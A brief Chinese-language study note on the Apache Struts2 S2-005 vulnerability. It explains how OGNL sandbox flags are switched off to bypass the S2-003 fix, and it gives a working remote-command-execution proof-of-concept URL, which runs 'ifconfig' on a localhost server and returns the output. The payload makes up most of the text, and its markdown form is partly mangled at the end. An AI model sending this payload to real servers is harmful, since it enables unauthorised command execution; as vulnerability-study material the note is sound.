S2-005

S2-005和 S2-003 的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本:Struts 2.0.0 - Struts 2.1.8.

原理: 官方修复s2-003不完善,通过新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAccesMethodAccessor.denyMethodExecution

所以可以通过利用OGNL先把沙盒关闭掉,就又可以执行命令

关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023 会被解析成 #,POC还是原来的POC,只不过加上了上面的两个设置

[http://localhost:1111/login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla](http://localhost:1111/login.action?\('%5Cu0023context%5B%5C'xwork.MethodAccessor.denyMethodExecution%5C'%5D%5Cu003dfalse'\)\(bla\)\(bla\)&\('%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue'\)\(bla\)\(bla\)&\('%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET'\)\(kxlzx\)\(kxlzx\)&\('%5Cu0023mycmd%5Cu003d%5C'ifconfig%5C''\)\(bla\)\(bla\)&\('%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime\(\).exec\(%5Cu0023mycmd\)'\)\(bla\)\(bla\)&\(A\)\(\('%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream\(%5Cu0023myret.getInputStream\(\)\)'\)\(bla\)\)&\(B\)\(\('%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D'\)\(bla\)\)&\(C\)\(\('%5Cu0023mydat.readFully\(%5Cu0023myres\)'\)\(bla\)\)&\(D\)\(\('%5Cu0023mystr%5Cu003dnew%5C40java.lang.String\(%5Cu0023myres\)'\)\(bla\)\)&\('%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse\(\)'\)\(bla\)\(bla\)&\(E\)\(\('%5Cu0023myout.getWriter\(\).println\(%5Cu0023mystr\)'\)\(bla)))